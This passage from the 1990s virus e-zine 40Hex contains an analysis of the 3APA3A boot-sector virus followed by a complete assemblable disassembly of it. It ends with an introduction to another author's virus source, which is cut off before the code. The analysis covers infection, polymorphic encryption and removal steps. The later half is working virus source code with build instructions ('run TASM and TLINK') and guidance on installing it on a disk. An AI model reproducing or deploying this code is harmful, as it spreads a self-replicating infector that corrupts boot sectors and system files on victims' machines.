part. The IO_sector contains a program to infect floppy disks and it
simply places infected boot sector (after appropriate encryption) on the
floppy disk.
Two virus parts (boot sector and IO_sector) work at different time
(first -- only at boot from the infected floppy, second -- only at boot
from the hard drive) and virus boot sector only once passes a parameter
(DX:AX) to the IO_sector. Only one procedure is shared by both virus
parts -- which converts sector# in DX:AX into CX=sec/cyl, DH=head (and
the virus has to patch offset in E8 call to this procedure, because it
is located at different offset now, not in 0000:7C00, as at boot time;
this procedure is at 7DD3 and/or at 3D3).
Unlike many other boot sector viruses, 3APA3A encrypts its code (in
a floppy boot sector). Moreover, 3APA3A virus is slightly polymorphic,
which is even more unusual -- decryptor of the infected boot sector is
variable. By the way, only very few boot-sector viruses have
polymorphic properties. The dump of the virus decryption routine is
given in Fig.5. The order of instruction is fixed. Random value (word)
is taken from BIOS timer counter [0:46C]. There are 8 types of
encryption routine (4 use DI register, 4 use SI). Probability of SI
usage is 3 times higher, than usage of DI. One can see that the offset
of decryptor's terminating jump is encrypted with 25% probability (byte
at 7C2B, which is an offset of a conditional jump, is encrypted with the
mentioned probability). Thus, the virus decryptor will hang with a 25%
probability on 386 and 486 processors. Lower processors (8088-80286)
have a small queue (8088,80188,V20=4; 8086,80186,V30=6; 80286=8) and it
is not sufficient to store whole decryption cycle and cause a hang.
Pentium is free of this problem, because it can detect the access to the
pre-fetched bytes and flash the queue. On 80386-80486 processors the
virus will hang with 25% probability when booting from floppy disk if
the JNZ offset was encrypted -- data in memory and in processor queue
will become different during decryption, processor will go into garbage
codes and hang.
Because of the encryption, only string like 'MSDOS 5.0' is visible
at the beginning of the boot sector (this string is a reminiscence of an
original boot sector of a floppy disk). Obviously, 55AA marker is
present at the very end of the boot-sector. Second virus part
(IO_sector), which is placed at the very last sector of the root
directory of the floppy disk, is not encrypted at all. Its location is
stored inside the code of the first virus sector at the moment of floppy
infection.
Two bytes in the boot sector are used as an infection marker --
byte at offset 18h must be zero and byte at 21h must be 2Eh (first is
byte from BPB, second -- constant byte in the decryption routine,
CS: prefix). Prior to the infection of floppy disk the virus performs
checks whether this marker is already present. If this is the case --
the virus decides that floppy disk is already infected.
If, occasionally, you will place too many files in the root
directory of the floppy and the directory entries will overwrite the
second virus sector (IO_sector) -- this floppy disk will become a
carrier of a damaged virus. If now any hard drive will be infected with
this floppy, it will become unbootable (start of IO.SYS file will carry
the directory entries from the floppy directory, instead of the virus
body).
The structure of the second virus sector (IO_sector) is shown in
Fig.6. DOS boot sector loads this code (as a part of normal IO.SYS) to
computer memory. After virus code (first 1k in IO.SYS) follows normal
IO.SYS image. The virus moves its own code (this 1k) to CS=9F80 (for a
normal 640k PC) and replaces it with an original IO.SYS start. Original
IO.SYS start is read from hard disk and its position was stored inside
the virus body at the moment of hard drive infection. Final RETF
transfers control to the original IO.SYS image, which was "assembled" in
memory by 3APA3A virus.
Memory map usage of 3APA3A virus, when it is resident in the
computer memory, is given in Fig.7. When the virus analyses an access to
the floppy drive, sitting on the INT_13, it does not perform full check
whether boot sector is accessed (usually AH=02, CX=0001, DH=0), but it
calculates the sum DH+CL+CH and decides that boot sector is accessed if
it is equal to 1. That is not very compatible approach (because AH is
ignored at all) and I have found one program, which confused 3APA3A
and virus even tried to access empty A: and B: drives. This program is
PU_1700.COM -- a resident BIOS extension to format/access floppies of
1.44MB size in a 5.25" high-density floppy drives. When PU_1700 is
loaded with the virus active in memory, both floppy drives turn on their
LEDs.
Unusual method is used by the virus to access original INT_13
routine from inside of virus INT_13 handler. The virus patches its own
program (Fig.8) -- places JMP instruction near the beginning of its own
handler, i.e., it "closes the window leaf". Now the virus makes an
INT_13 call (it is, obviously, reentrant call). Upon return from this
call the "window leaf" is opened back (JMP is replaced with JNZ).
The virus carries the following message -- "B BOOT CEKTOPE -
3APA3A!" This string is in Russian, and translation is -- "IN BOOT
SECTOR - INFECTION!". Besides its usual use as "infection/contagion",
"3APA3A" in Russian designates something particularly boring and
annoying.
This string is encrypted (it is located at offset 9A in the
IO_sector of the virus, its length is 1A bytes) and it is not visible
even in memory. It will be printed in August on each reboot from the
hard drive (the virus calls INT_1A/AH=04 and checks if DH=08).
Obviously, the virus will never print the message on XT computers,
because they do not support INT_1A/AH=04 (have no AT-CMOS clock). If the
message is not printed, the virus does not advertise its presence at
all. It is, therefore, quite difficult to spot.
Method of the encryption of this string is somewhat unusual (see
Fig. 9). It looks like a "delta"-coding, because the current byte in the
series, when being added to the previous character code, gives the next
one. The virus message terminates with ASCII codes "07", "0D", "10" (see
Fig.9). First is a beep, second is a carriage return symbol (CR), but
the last is probably cased by a mistype of the virus author. He probably
wanted to type CR, LF (normal string terminator), but used hexadecimal
10, instead of decimal (i.e., 10h instead of 0Ah).
The virus message is written in Russian, but is composed only of
the pure English ASCII symbols. The reason is simple -- message is
printed at boot time, when software Cyrillic character generator is not
yet loaded, so it is not possible to use Cyrillic letters. The only
way -- to compose message from normal ASCII letters and digits (digit
"3" represents Russian letter, which sounds like "Z").
Correct spelling of the virus name -- "3APA3A" in Russian is
"ZARAZA". Here all "Z" sound like in "zero" and all "A" sound like "u"
in "cut".
3APA3A virus carries no special destructive payload.
3APA3A: TREATMENT AND RUMORS
----------------------------
After infection of the hard disk the first root directory entry is
always marked with a volume label bit. Therefore, old disk volume label
will be not shown and the infected hard disk will usually carry label
"IO SYS" (or "IBMBIO COM" for PC-DOS, etc.). It will be reported
by DIR and LABEL command. The most noticeable effect of virus presence
is an unusual disk label.
This new "label" is uneraseable and unchangeable even with a LABEL
command. Probably DOS is confused with a strange volume label, which has
a non-zero length and it refuses to change it. Unfortunately, DOS even
does not report that he fails to change (delete) the disk label -- no
error or warning message is given.
First attempt of an inexperienced user to remove the virus may be
the usage of undocumented FDISK /MBR call, which reinitializes the MBR
program, leaving partition table intact. Obviously, this approach not
works, because the virus is not stored in the MBR. Reinitialization of
DOS boot sector will not help too. That is because copy of the virus
code is neither in MBR, nor in DOS boot sector, but in IO.SYS file.
The most reasonable operation is to try to get rid of the 3APA3A
virus using SYS C: command. Unfortunately it does not work too! And even
after booting from the clean diskette! The reason is obvious -- SYS C:
will modify/remove the second copy of the IO.SYS file (uninfected
copy!), which is located at the very end of the first DOS partition. The
infected copy of IO.SYS will not be rewritten, because volume-label bit
preserved it from being recognized by SYS program as a DOS core file.
CHKDSK (in MS-DOS) will always report errors on the infected hard
disk, because it will be alarmed with a FAT chain, attached to the
volume-labeled file. Note, that MS-DOS and DR-DOS behaves differently
with "volume-labeled" files.
Norton Disk Doctor (I tested NDD from Norton Utilities 6.0) gives
no warnings on the contaminated hard disk.
Note that many disk optimizers (like Norton SpeedDisk) prefer to
place the subdirectories in the very beginning of the root directory
(it is possible only in later versions of DOS, probably starting at
5.00). The virus does not check if IO.SYS is really the first entry in
the root directory (only checks volume bit!), so it can easily take the
first directory in the root and regard it as an infectable DOS core
file! Such an attempt to "infect" the hard drive will fail -- the virus
will perform all its actions, but original IO.SYS will be intact.
Presence of duplicated subdirectory (if it was the 1st entry) will not
affect normal operation of the computer, because this duplicated
subdirectory with volume-label bit will be ignored by DOS. And original
IO.SYS (placed by SpeedDisk somewhere else in the root directory) will
be uninfected. Only CHKDSK will report disk errors.
The simple sequence of actions to remove the virus from hard drive
is the following:
1. Delete IO.SYS file (original uninfected copy). You may need to
remove Hidden/System/Read-Only attributes to do that (for example use
Norton Commander).
2. Remove "Vol" attribute from the infected IO.SYS in the root (you
can use Norton DiskEdit to do this; infected volume-labeled IO.SYS is
the 1st directory entry).
3. Delete IO.SYS file (infected copy). You may need to remove
Hidden/System/Read-Only attributes to do that (for example use NC).
4. Run CHKDSK /F and inspect/remove FILE00xx.CHK if any (some disk
errors may have been appeared on the hard disk because of the lost #80
dir entry).
5. Run SYS C: from the system floppy disk to restore IO.SYS.
Note: Actions 1)-3) can be done with Norton DiskEdit.
The virus is very virulent, but we hope that the infection will be
local, because anti-3APA3A measures were undertaken shortly. The users
were notified about the possible threat and anti-virus programs
appeared, which are capable to detect and remove 3APA3A from diskettes
and from the hard drive.
There is an unconfirmed information that currently available 3APA3A
virus is actually the second virus in the strain. According to the
information from Russian anti-virus circles, there was a previous
version, which was released in March 1994 and computers in some banks in
Moscow were contaminated. The author of 3APA3A virus wrote a couple of
Email messages, which were delivered through Fidonet without the
originating address and they had a signature "Gena". Last stands for the
male name. He insisted that there are at least two versions in the wild.
He claimed that he already created more "powerful" version(s), but they
are still in the "research phase" and not yet in the wild. He also wrote
that his viruses were caught with such a big delay, that he is fully
contented. There is also a rumor that the author of 3APA3A viruses was
forced to delete all his assembler texts by indignant PC users.
ACKNOWLEDGEMENTS
----------------
I am acknowledged to VForum members for the fruitful discussion of
3APA3A properties (especially to Anthony Naggs, Vesselin Bontchev and
Paul Ducklin). I am also acknowledged to Igor Daniloff (SALD, Saint-
Petersburg, Russia).
FIGURES
-------
Figure 1. Map of memory usage of 3APA3A virus, when the virus boot
sector is infecting the hard drive.
Address Size Function (buffer for)
-------------------------------------------------------
7C00:0000 200h Hard drive boot sector
7C00:0200 2 AX for INT_13 (0201h, 0301h, etc.)
7C00:0202 1 DH for INT_13 (usually 80h)
7C00:0203 200h FAT end
7C00:0403 A00h HDD Root directory, 5 sectors only!
7C00:0E03 200h FAT start
7C00:1003 2000h 1 cluster of original IO.SYS (*)
7C00:3003 2000h 2 cluster
7C00:5003 2000h 3 cluster
7C00:7003 2000h 4 cluster
7C00:9003 2000h 5 cluster
7C00:B003 2000h 6 cluster
... ... ...
7C00:xx03 2000h last IO.SYS cluster
-------------------------------------------------------
(*) Cluster size was taken 8192 bytes (16 sectors) only for example.
It may be different according to sectors/cluster ratio.
Figure 2. Sizes of DOS system files for different versions (in bytes).
-------------------------------------------------------------
DOS version DOS type IO/IBMBIO MSDOS/IBMDOS COMMAND.COM
--------------------------------------------------------------
1.00 PC 2047 6400 4959
2.00 PC 4907 17411 18160
3.00 PC 8964 27920 22042
3.30 MS 22357 30128 25276
4.00 PC 32810 35984 37637
4.01 MS 33337 37376 37557
5.00 MS 33430 37394 47845
6.20 MS 40566 38138 54500
--------------------------------------------------------------
Figure 3. Virus code fragment, which checks whether partition uses 16
bit FAT or not.
7C75 A11300 MOV AX,[0013] ;total sectors in media on HDD
7C78 48 DEC AX ;0000 -> FFFF (for big disks!)
7C79 3D0351 CMP AX,5103 ;16 bit FAT guaranteed!
7C7C 76B1 JBE 7C2F ;pass control to floppy boot
...
Figure 4. Modification of the root directory of first DOS partition by
3APA3A virus: a) initial layout, b) after first shift c) after copying
of IO.SYS entry to 3rd position.
------------- ------------- -------------
#1 IO.SYS IO.SYS IO.SYS -> infected IO.SYS
------------- ------------- -------------
#2 MSDOS.SYS MSDOS.SYS MSDOS.SYS
------------- ------------- -------------
#3 FILE0003.EXT FILE0003.EXT IO.SYS -> copy of IO.SYS
------------- ------------- -------------
#4 FILE0004.EXT FILE0003.EXT FILE0003.EXT
------------- ------------- -------------
...
------------- ------------- -------------
#79 FILE0079.EXT FILE0078.EXT FILE0078.EXT
------------- ------------- -------------
#80 FILE0080.EXT FILE0079.EXT FILE0079.EXT
------------- ------------- -------------
a) b) c)
Figure 5. The decryptor of virus floppy boot sector is polymorphic. A
caret "^" symbol designates variable bytes. Number in brackets
corresponds to a comment below.
7C1E BE2C7C MOV SI,7C2C ;starting address
^^^^ (1)
7C21 2E CS: ;infection marker! (1 byte of 2)
7C22 800470 ADD BYTE PTR [SI],70
^^^^^^ (2)
7C25 46 INC SI
^^ (3)
7C26 81FEFB7D CMP SI,7DFB ;upper limit ?
^^^^ (4)
7C2A 75F5 JNZ 7C21 ;<- JNZ offset may be encrypted
^^ (5)
7C2C ...
(1) These two bytes are variable and may be: 2BBE, 2CBE, 2DBE or 2EBF.
Makes: MOV SI, 7C2B; MOV SI, 7C2C; MOV SI, 7C2D; MOV DI, 7C2E.
Thus, start of encryption at address: 7C2B, 7C2C, 7C2D, 7C2E
(with equal probability).
(2) These three bytes are variable:
F61490 or F61590 NOT BYTE PTR [SI] ;or [DI] (3rd byte is 90h)
8004xx or 8005xx ADD BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
802Cxx or 802Dxx SUB BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
8034xx or 8035xx XOR BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
(3) This byte may be 46 (INC SI, 75% probability) or
47 (INC DI, 25% probability)
(4) These two bytes are variable: FAFE, FBFE, FCFE or FDFF.
Makes: CMP SI,7DFA; CMP SI,7DFB; CMP SI,7DFE; CMP DI,7DFD)
(5) This byte may be encrypted (probability=25%)! And the virus
will hang on 386, 486 because of processor queue pre-fetch.
Figure 6. Global structure of the virus IO_sector.
0000:7C00 PUSH CS ;places startCS on stack
CALL $+3
POP SI ;gets relative position in CS
SUB SI,4 ;sizeof(PUSH+CALL)
PUSH SI ;places it on stack
;(startCS:SI=0000:7C00 is on stack)
PUSH AX/BX/CX/DX/DS/ES
---------------------
| viral code |
---------------------
---------------------
| copy virus |
| code to |
| ES=9F80 |
---------------------
PUSH ES ;ES=9F80
MOV AX,006C
PUSH AX ;(9F80:006C is on stack now)
RETF ;same as JMP 9F80:006C
9F80:006C ---------------------
| read 2 sectors |
| from original |
| IO.SYS to |
| 0000:7C00 | ;read 1k to startCS:SI=0000:7C00
| ... |
---------------------
POP ES/DS/DX/CX/BX/AX
RETF ;same as JMP 0000:7C00
Figure 7. Map of memory usage of 3APA3A virus, when it is resident in
computer memory (CS=9F80 and the virus sets DS=ES=9FA0).
----------------------------------------------------------------------
Address (same as) Size Function
CS:offset DS:offset (bytes) (buffer for)
----------------------------------------------------------------------
9F80:0000 200h IO_sector
9F80:0200 9FA0:0000 200h Virus boot sector
(used for encryption)
9F80:0400 9FA0:0200 2 0201/0301 (AX for INT_13)
9F80:0402 9FA0:0202 1 0/1 (DL for INT_13)
9F80:041E 9FA0:021E 1E2h Virus boot sector code (orig. copy)
9F80:0600 9FA0:0400 200h Current floppy boot sector
----------------------------------------------------------------------
(*) Code segment CS=9F80 was taken for example. That is a location
of the virus for normal 640k computer (CS=A000-2k).
Figure 8. "Window leaf" in the interrupt 13h function of virus.
Leaf is "closed" at address 00BC and is opened at 00C4.
00B4 A10002 MOV AX,[0200] ;may be read and write
00B7 8A160202 MOV DL,[0202] ;drive # (0/80)
00BB 2E CS:
00BC C606E300EB MOV BYTE PTR [00E3],EB ;-> JMP ("close leaf")
00C1 CD13 INT 13
00C3 2E CS:
00C4 C606E30075 MOV BYTE PTR [00E3],75 ;-> JNZ ("open leaf")
00C9 7202 JB 00CD
00CB FC CLD
00CC C3 RET
...
; virus INT_13 handler (usually at 9F80:00D5)
00D5 50 PUSH AX
00D6 53 PUSH BX
00D7 51 PUSH CX
00D8 52 PUSH DX
00D9 56 PUSH SI
00DA 57 PUSH DI
00DB 1E PUSH DS
00DC 06 PUSH ES
00DD 55 PUSH BP
00DE 8BEC MOV BP,SP
00E0 F6C280 TEST DL,80 ;HDD (1st or 2nd)?
00E3 EBED JMP 00D2 ;<- see 00C4 & 00BC (set JNZ/JMP)
;here if not HDD
00E5 02F1 ADD DH,CL
00E7 02F5 ADD DH,CH
00E9 80FE01 CMP DH,01 ;DH=CH+CL+DH=1 if boot sector
00EC 77E4 JA 00D2 ;exit from handler
...
Figure 9. The virus code fragment, which prints the message
"B BOOT CEKTOPE - 3APA3A! <BELL> <0Dh> <10h>"
000F B404 MOV AH,04 ;get CMOS date
0011 CD1A INT 1A
0013 80FE08 CMP DH,08 ;August?
0016 7512 JNZ 002A
0018 8D9C9A00 LEA BX,[SI+009A] ;pointer on message
001C B8420E MOV AX,0E42 ;tty output, ASCII(42)='B'
001F B91A00 MOV CX,001A ;length
;
0022 CD10 INT 10
0024 2E CS:
0025 0207 ADD AL,[BX] ;sum all prev. chars in AL
0027 43 INC BX ;increase pointer
0028 E2F8 LOOP 0022
...
009A DE220D0005CC2302 ;this table stores values,
00A2 0609FB01F5DB0DF3 ;which being added to previous char
00AA 130E0FF1F20EE0E6 ;gives new one (smth. like "delta"-coding)
00B2 0603 ;last char has an error - 10h instead of LF
---------------------------------------------------
; To assemble, simple run TASM and TLINK on this file and generate a binary.
; The first 512d bytes of the binary will contain the portion of the virus
; which resides in IO.SYS. The second 512d bytes will contain the boot
; section portion of the virus.
; Installation is slightly more difficult. It requires you to simulate
; an infection with 3apa3a. Read the text above for information. Basically,
; you have to fill in the BPB in the boot sector, fill in the patch values,
; and then move the pieces onto the disk properly.
.model tiny
.code
.radix 16
org 0
; 3apa3a virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
zero:
_3apa3a: push cs
call doffset
doffset: pop si
db 83,0EE,4 ; sub si,4
push si ax bx cx dx ds es
mov ah,4 ; get date
int 1Ah
cmp dh,8 ; september?
jne no_activate
lea bx,cs:[si+message-_3apa3a]
mov ax,0E42 ; begin with B
mov cx,endmessage - message
display_loop: int 10 ; print character
add al,cs:[bx] ; calculate next character
inc bx
loop display_loop
no_activate: cld
xor ax,ax ; ds = 0
mov ds,ax
push cs ; es = cs
pop es
lea di,[si+offset old_i13]
push si
mov si,13*4 ; grab old int 13 handler
movsw
movsw
mov ax,ds:413 ; get BIOS memory size
dec ax ; decrease by 2K
dec ax
mov ds:413,ax ; replace the value
mov cl,6 ; convert to paragraphs
shl ax,cl
mov [si-2],ax ; replace interrupt handler
mov word ptr [si-4],offset i13
mov es,ax ; move ourselves up
push cs
pop ds si
xor di,di
mov cx,200
push si
rep movsw ; copy now!
inc ch ; cx = 1
sub si,200 ; copy rest
rep movsw
pop si
push cs es
mov ax,offset highentry
push ax
retf
highentry: mov ax,7C0
mov ds,ax
mov word ptr ds:200,201
mov byte ptr ds:202,80
les ax,dword ptr cs:203
mov dx,es
pop es
mov bx,si
mov cx,1
mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call
call work_on_sectors ; do_i13
pop es ds dx cx bx ax
retf
message: db ' ' - 'B'
db 'B' - ' '
db 'O' - 'B'
db 'O' - 'O'
db 'T' - 'O'
db ' ' - 'T'
db 'C' - ' '
db 'E' - 'C'
db 'K' - 'E'
db 'T' - 'K'
db 'O' - 'T'
db 'P' - 'O'
db 'E' - 'P'
db ' ' - 'E'
db '-' - ' '
db ' ' - '-'
db '3' - ' '
db 'A' - '3'
db 'P' - 'A'
db 'A' - 'P'
db '3' - 'A'
db 'A' - '3'
db '!' - 'A'
db 7 - '!'
db 0Dh - 7
db 10 - 0Dh
endmessage:
do_i13: mov ax,ds:200
mov dl,ds:202
mov byte ptr cs:patch,0EBh ; jmp absolute
int 13 ; do interrupt
mov byte ptr cs:patch,75 ; jnz
jc retry_error
cld
retn
retry_error: cmp dl,80 ; first hard drive?
je do_i13 ; if so, retry
go_exit_i13: jmp exit_i13 ; otherwise quit
i13: push ax bx cx dx si di ds es bp
mov bp,sp
test dl,80 ; hard drive?
patch: jnz go_exit_i13
add dh,cl ; check if working on
add dh,ch ; boot sector or
cmp dh,1 ; partition table
ja go_exit_i13 ; if not, quit
mov ax,cs ; get our current segment
add ax,20 ; move up 200 bytes
mov ds,ax
mov es,ax
mov word ptr ds:200,201 ; set function to read
mov ds:202,dl ; set drive to hard drive
mov bx,400 ; set buffer
xor dx,dx ; read in the boot sector
push dx
mov cx,1
call do_i13 ; read in boot sector
cmp byte ptr ds:400+21,2E ; check if 3apa3a already there
je go_exit_i13
cmp byte ptr ds:400+18,0
je go_exit_i13
push cs
pop es
mov di,203
mov si,403
mov cx,1Bh ; copy disk tables
cld
rep movsb
sub si,200 ; copy the rest
mov cx,1E2
rep movsb
inc byte ptr ds:201 ; set to write
mov ax,ds:16 ; get sectors per FAT
mul byte ptr ds:10 ; multiply by # FATs
mov bx,ds:11 ; get number of sectors
mov cl,4 ; occupied by the root
shr bx,cl ; directory
db 83,0FBh,5 ; cmp bx,5 ; at least five?
jbe go_exit_i13 ; if not, quit
add ax,bx ;
add ax,ds:0E ; add # reserved sectors
dec ax ; drop two sectors to find
dec ax ; start of last sector
xor dx,dx ; of root directory
push ax dx
call abs_sec_to_BIOS
mov ds:patch1-200,cx ; move original boot
mov ds:patch2-200,dh ; sector to the end of the
xor bx,bx ; root directory
call do_i13
pop dx ax
dec ax
call abs_sec_to_BIOS
mov ds:34,cx ;patch3 ; write io portion to
mov ds:37,dh ;patch4
add bh,6 ; bx = 600
call do_i13
push ds
xor ax,ax
mov ds,ax
mov dx,ds:46C ; get timer ticks
pop ds
mov bl,dl ; eight possible instructions
db 83,0E3,3 ; and bx,3
push bx
shl bx,1 ; convert to word index
mov si,bx
mov cx,es:[bx+encrypt_table]
pop bx
push bx
mov bh,bl
shr bl,1 ; bl decides which ptr to use
lea ax,cs:[bx+2BBE] ; patch pointer
mov ds:[decrypt-bs_3apa3a],ax ; and start location
add ch,bl
mov ds:[encrypt_instr-bs_3apa3a],cx
add ax,0CF40
mov ds:[patch_endptr-bs_3apa3a],ax
pop ax
push ax
mul dh
add al,90 ; encode xchg ax,??
add bl,46 ; encode inc pointer
mov ah,bl
mov ds:[patch_incptr-bs_3apa3a],ax
mov dx,word ptr cs:[si+decrypt_table]
mov word ptr cs:decrypt_instr,dx
pop di
db 83,0C7 ;add di,XX ; start past decryptor
dw bs_3apa3a_decrypt - bs_3apa3a
org $ - 1
mov si,di
push ds
pop es
mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
mov ah,al
encrypt_loop: lodsb
decrypt_instr: add al,ah
stosb
loop encrypt_loop
pop dx
mov cx,1 ; write the replacement
xor bx,bx ; boot sector to the disk
call do_i13
exit_i13: mov sp,bp
pop bp es ds di si dx cx bx ax
db 0EAh
old_i13 dw 0, 0
decrypt_table: not al
sub al,ah
add al,ah
xor al,ah
encrypt_table dw 014F6 ; not
dw 0480 ; add
dw 2C80 ; sub
dw 3480 ; xor
; This marks the end of the IO.SYS only portion of 3apa3a
; The boot sector portion of 3apa3a follows.
adj_ofs = 7C00 + zero - bs_3apa3a
bs_3apa3a: jmp short decrypt
nop
; The following is an invalid boot sector. Replace it with
; yours.
db ' '
db 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00, 00, 00
db 00
decrypt: db 0BF ; mov di,
dw adj_ofs + bs_3apa3a_decrypt
decrypt_loop: db 2e ; cs:
encrypt_instr label word
db 80,2Dh ; sub byte ptr [di],XX
patch_incptr label word
db 0 ; temporary value for cryptval
inc di
db 81 ; cmp
patch_endptr label word
db 0ff ; pointer
dw adj_ofs + end_crypt
jne decrypt_loop
bs_3apa3a_decrypt = $ - 1
jmp short enter_bs_3apa3a
nop
load_original: xor dx,dx ; set up the read
mov es,dx ; of the original boot sector
db 0B9 ; mov cx, XXXX
patch3 dw 3
db 0B6
patch4 db 1
mov bx,ds ; es:bx = 0:7C00
mov ax,201
db 0ebh ; jump to code in stack
dw bs_3apa3a - 4 - ($ + 1)
org $ - 1
enter_bs_3apa3a:cli
xor ax,ax
mov ss,ax ; set stack to just below us
mov sp,7C00
sti
mov dl,80 ; reset hard drive
int 13
mov ax,2F72 ; encode JNZ load_original at
; 7BFE
mov ds,sp ; set segment registers to
mov es,sp ; 7C00
push ax
mov word ptr ds:200,201 ; do a read
mov ds:202,dl ; from the hard drive
xor bx,bx ; read to 7C00:0
mov dh,1 ; read head 1
mov cx,1 ; read sector 1
; (assumes active boot
; sector is here)
mov ax,13CDh ; encode int 13 at 7BFC
push ax
call exec_int13 ; do the read
mov bx,203
cmp byte ptr [bx-4],0AA ; is it valid bs?
jnz_load_original:
jne load_original ; if not, assume infected and
; transfer control to it
mov ax,ds:13 ; get number of sectors in
dec ax ; image - 1
cmp ax,5103 ; hard drive too small? (5103h
jbe load_original ; sectors ~ 10.6 megs)
mov ax,ds:1C ; get number hidden sectors
add ax,ds:0E ; add number reserved sectors
mov ds:9,ax ; store at location that holds
; the end of OEM signature
add ax,ds:16 ; add sectors per FAT
dec ax ; go down two sectors
dec ax
push ax
xor dx,dx
mov cx,dx
call work_on_sectors ; load end of FAT to 7C00:203
mov ax,ds:16 ; get sectors per FAT
push ax ; save the value
mul byte ptr ds:10 ; multiply by # FATs
add ax,ds:9 ; calculate start of root dir
mov ds:7,ax ; store it in work buffer
mov cl,4
mov si,ds:11 ; get number sectors the
shr si,cl ; root directory takes
add si,ax ; and calculate start of data
mov ds:5,si ; area and store it in buffer
call work_on_sectors ; get first 5 sectors of the
; root directory
test byte ptr ds:403+0Bh,8 ; volume label bit set on first
; entry? (infection marker)
jne_load_original: ; if so, already infected, so
jnz jnz_load_original ; quit
xor si,si
mov bx,1003
mov ax,ds:403+1A ; get starting cluster number
; of IO.SYS
read_IO_SYS: push ax ; convert cluster to absolute
call clus_to_abs_sec ; sector number
call work_on_sector ; read in one cluster of IO.SYS
inc si
pop ax
push bx ax
mov bx,403+0A00 ; read into this buffer
push bx
mov al,ah ; find the sector with the FAT
xor dx,dx ; entry corresponding to this
mov ah,dl ; cluster
add ax,ds:9
call work_on_sectors ; read in the FAT
pop bx ax
mov ah,dl
shl ax,1
mov di,ax
mov ax,[bx+di] ; grab the FAT entry (either EOF
; or next cluster number)
pop bx ; corresponding to this cluster
cmp ax,0FFF0 ; is there any more to read?
jb read_IO_SYS ; if so, keep going
inc byte ptr ds:201 ; change function to a write
pop cx
dec cx
dec cx
mov ds:4,cl
mov di,401 ; scan the end of the FAT
mov cx,100
mov bp,-1
copy_IO_SYS: xor ax,ax ; look for unused clusters
repne scasw
jnz jne_load_original
mov [di+2],bp
mov bx,cx
mov bh,ds:4
mov bp,bx ; save starting cluster of
push bp cx ; where IO.SYS will be moved
mov ah,ds:0Dh
shl ax,1
dec si
mul si
mov bx,ax
add bx,1003
mov ax,bp
call clus_to_abs_sec
call work_on_sector ; move IO.SYS to end of HD
pop cx bp
or si,si
jnz copy_IO_SYS
mov si,0DE1 ; move all but the first two
mov di,0E01 ; directory entries down one
mov cx,4D0 ; (10 dir entries / sector,
rep movsw ; 5 sectors)
; DF set by exec_int13
mov si,421 ; move IO.SYS entry down two
mov cx,10 ; entries
rep movsw
mov ds:400+2*20+1Dh,bp ; set starting cluster of the
; moved original IO.SYS
or byte ptr ds:40E,8 ; set volume label bit on first
; IO.SYS entry
mov bx,403 ; point to root directory
mov ax,ds:7 ; get starting cluster of
xor dx,dx ; root dir
mov cl,4
call work_on_sectors ; write updated root directory
pop ax ; to the disk
write_FATs: mov bx,203 ; point to the updated FAT
call work_on_sectors ; write changed end of FAT
dec ax
add ax,ds:16 ; add sectors per FAT
dec byte ptr ds:10 ; processed all the FATs?
jnz write_FATs
mov ax,bp
call clus_to_abs_sec
mov cs:7C03,ax ; store the values
mov cs:7C05,dx
mov byte ptr cs:7C01,1Ch
xor ax,ax ; reset default drive
mov dx,ax
int 13
mov ax,201 ; read in original boot sector
; You must patch the following values if you are installing 3apa3a on a disk
db 0b9 ; mov cx, XXXX
patch1 dw 0
db 0b6 ; mov dh, XX
patch2 db 0
mov bx,0E03
call perform_int13
mov ax,ds:403+1A ; get starting cluster number
call clus_to_abs_sec ; of IO.SYS
xor cx,cx
call work_on_sectors
mov bx,ds
mov es,cx
call work_on_sectors
go_load_original:
jmp load_original
exec_int13: mov ax,ds:200 ; get function from memory
mov dl,ds:202 ; get drive from memory
perform_int13: int 13
jc go_load_original
std
retn
work_on_sectors:inc cx
work_on_sector: push cx dx ax
call abs_sec_to_BIOS
call exec_int13
pop ax dx cx
add ax,1 ; calculate next sector
db 83,0D2,0 ; adc dx,0 ; (don't use INC because
add bh,2 ; INC doesn't set carry)
loop work_on_sector ; do it for the next sector
retn
abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track
mov cx,dx
inc cl
xor dx,dx
div word ptr ds:1A ; divide by number of heads
ror ah,1
ror ah,1
xchg ah,al
add cx,ax
mov dh,dl
retn
clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster
xor ch,ch ; (convert to word)
dec ax
dec ax
mul cx ; convert cluster number to
add ax,ds:5 ; absolute sector number
end_crypt: db 83,0D2,0 ; adc dx,0
retn
dw 0AA55 ; boot signature
end _3apa3a
40Hex Number 14 Volume 5 Issue 1 File 008
A lot of you saw the letter I posted in alt.comp.virus..... I thought I
might explain it now that I am sober ;) I did write the letter, and
a.) I was drunk as hell, and b.) I keep my word and have stopped writing
viruses. If you didn't read it, well, basically some schmuck (who I found
out later wrote friggin' ANSI bombs.... you go girl!) in Singapore got
infected with KeyKapture 2, and wrote me email about it. I was drunk
when I got it, got real depressed, etc. etc.... Anyway, I don't support
infecting the public with viruses, especially destructive ones, and never
have (WTF is the point of doing that anyway?). However, I find viruses one
of the most interesting and unique program types out there, and really hate
to see information regarding them censored, as censorship is the weapon of
men with small minds (at least) and too many fears.
Anyway, here is the last virus I wrote before I stopped writing viruses.
It was never really completed - I was working on a better polymorphic engine
for it (its current one is tres lame, and was written in about an hour,
including testing), needed to remove the prefetch tricks (damn pentium chips)
and some other things, but what the hell.... here's what I had written to that
point - it works, and has a few neato ideas (all FCB stuff, loads itself into
the memory of other programs, etc). Try running it with the Soundblaster
speech drivers loaded if you get really bored.
- Stormbringer, Phalcon/Skism, 1995
;----------------------- cut here, corplife.asm ---------------------------
